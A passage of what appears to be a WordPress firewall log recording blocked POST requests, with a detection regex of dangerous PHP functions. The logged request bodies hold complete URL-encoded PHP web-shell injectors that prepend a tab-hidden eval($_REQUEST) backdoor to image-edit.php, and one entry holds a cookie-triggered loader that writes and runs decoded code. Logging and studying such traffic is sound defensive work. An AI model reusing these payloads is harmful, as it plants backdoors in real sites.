10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-length:2037\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\nupgrade-insecure-requests:1\n\nJn=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/image-edit.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527VdzYYV%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:46:01","67.205.18.1","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> eP:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/image-edit.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527VdzYYV%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Android\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMINvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-length:2037\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\nupgrade-insecure-requests:1\n\neP=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/image-edit.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527VdzYYV%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:46:06","188.138.39.67","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> GS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/image-edit.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527VdzYYV%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:2037\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE1ZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nGS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/image-edit.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527VdzYYV%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:46:32","179.27.99.226","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> dB:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/image-edit.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527VdzYYV%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"macOS\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMRVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-length:2037\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\nupgrade-insecure-requests:1\n\ndB=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/image-edit.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527VdzYYV%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:47:24","92.205.188.156","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/image-edit.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527VdzYYV%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-user:?1\ncontent-length:2060\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-dest:document\naccept:*\/*\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/image-edit.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527VdzYYV%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 17:48:15","190.0.230.22","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> iC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SipHash.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-94%252B94%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-8%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B7%252B-4%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B48%252B-44%255D%2529%2529%2520%257B%2520%2524value%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524holder%2529%2520%257B%2520%2524value%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527bc86b95b%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524record%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524value%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data_chunk%252C%2520%2524record%2529%253B%2520fclose%2528%2524data_chunk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524flag%2520%253D%2520%2522def6035be4af79483a268a77e519acd8%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flag%252C%2520%2524value%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522batch_process_auth_exception_handler%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnHZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 